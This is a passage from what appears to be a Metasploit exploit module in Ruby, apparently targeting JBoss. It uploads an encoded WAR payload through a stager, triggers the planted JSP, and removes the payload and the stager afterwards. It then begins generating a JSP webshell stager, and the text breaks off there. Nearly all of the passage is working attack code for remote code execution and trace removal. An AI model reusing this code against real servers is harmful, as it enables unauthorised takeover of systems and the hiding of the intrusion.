145 | app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
146 | jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
147 |
148 | war_data = payload.encoded_war({
149 | :app_name => app_base,
150 | :jsp_name => jsp_name,
151 | :arch => mytarget.arch,
152 | :platform => mytarget.platform
153 | }).to_s
154 |
155 | b64_war = Rex::Text.encode_base64(war_data)
156 | print_status("Uploading payload through stager")
157 | res = send_request_cgi({
158 | 'uri' => stager_uri,
159 | 'method' => "POST",
160 | 'vars_post' =>
161 | {
162 | name_parameter => app_base,
163 | content_parameter => b64_war
164 | }
165 | }, 20)
166 |
167 | payload_uri = "/#{app_base}/#{jsp_name}.jsp"
168 | print_status("Calling payload: " + payload_uri)
169 | res = call_uri_mtimes(payload_uri,5, 'GET')
170 |
171 | # Remove the payload through stager
172 | print_status("Removing payload through stager")
173 | delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
174 | res = send_request_cgi(
175 | {'uri' => delete_payload_uri,
176 | })
177 |
178 | # Remove the stager
179 | print_status("Removing stager")
180 | send_serialized_request('removestagerfile.bin', replace_values)
181 | send_serialized_request('removestagerdirectory.bin', replace_values)
182 |
183 | handler
184 | end
185 |
186 | def generate_stager(name_param, content_param)
187 | war_file = rand_text_alpha(4+rand(4))
188 | file_content = rand_text_alpha(4+rand(4))
189 | jboss_home = rand_text_alpha(4+rand(4))
190 | decoded_content = rand_text_alpha(4+rand(4))
191 | path = rand_text_alpha(4+rand(4))
192 | fos = rand_text_alpha(4+rand(4))
193 | name = rand_text_alpha(4+rand(4))
194 | file = rand_text_alpha(4+rand(4))
195 |
196 | # nullbind mod - just included basic jsp webshell code
197 | stager_script = <<-EOT
198 | <%@ page import="java.util.*,java.io.*"%>
199 |
200 |
201 |
205 |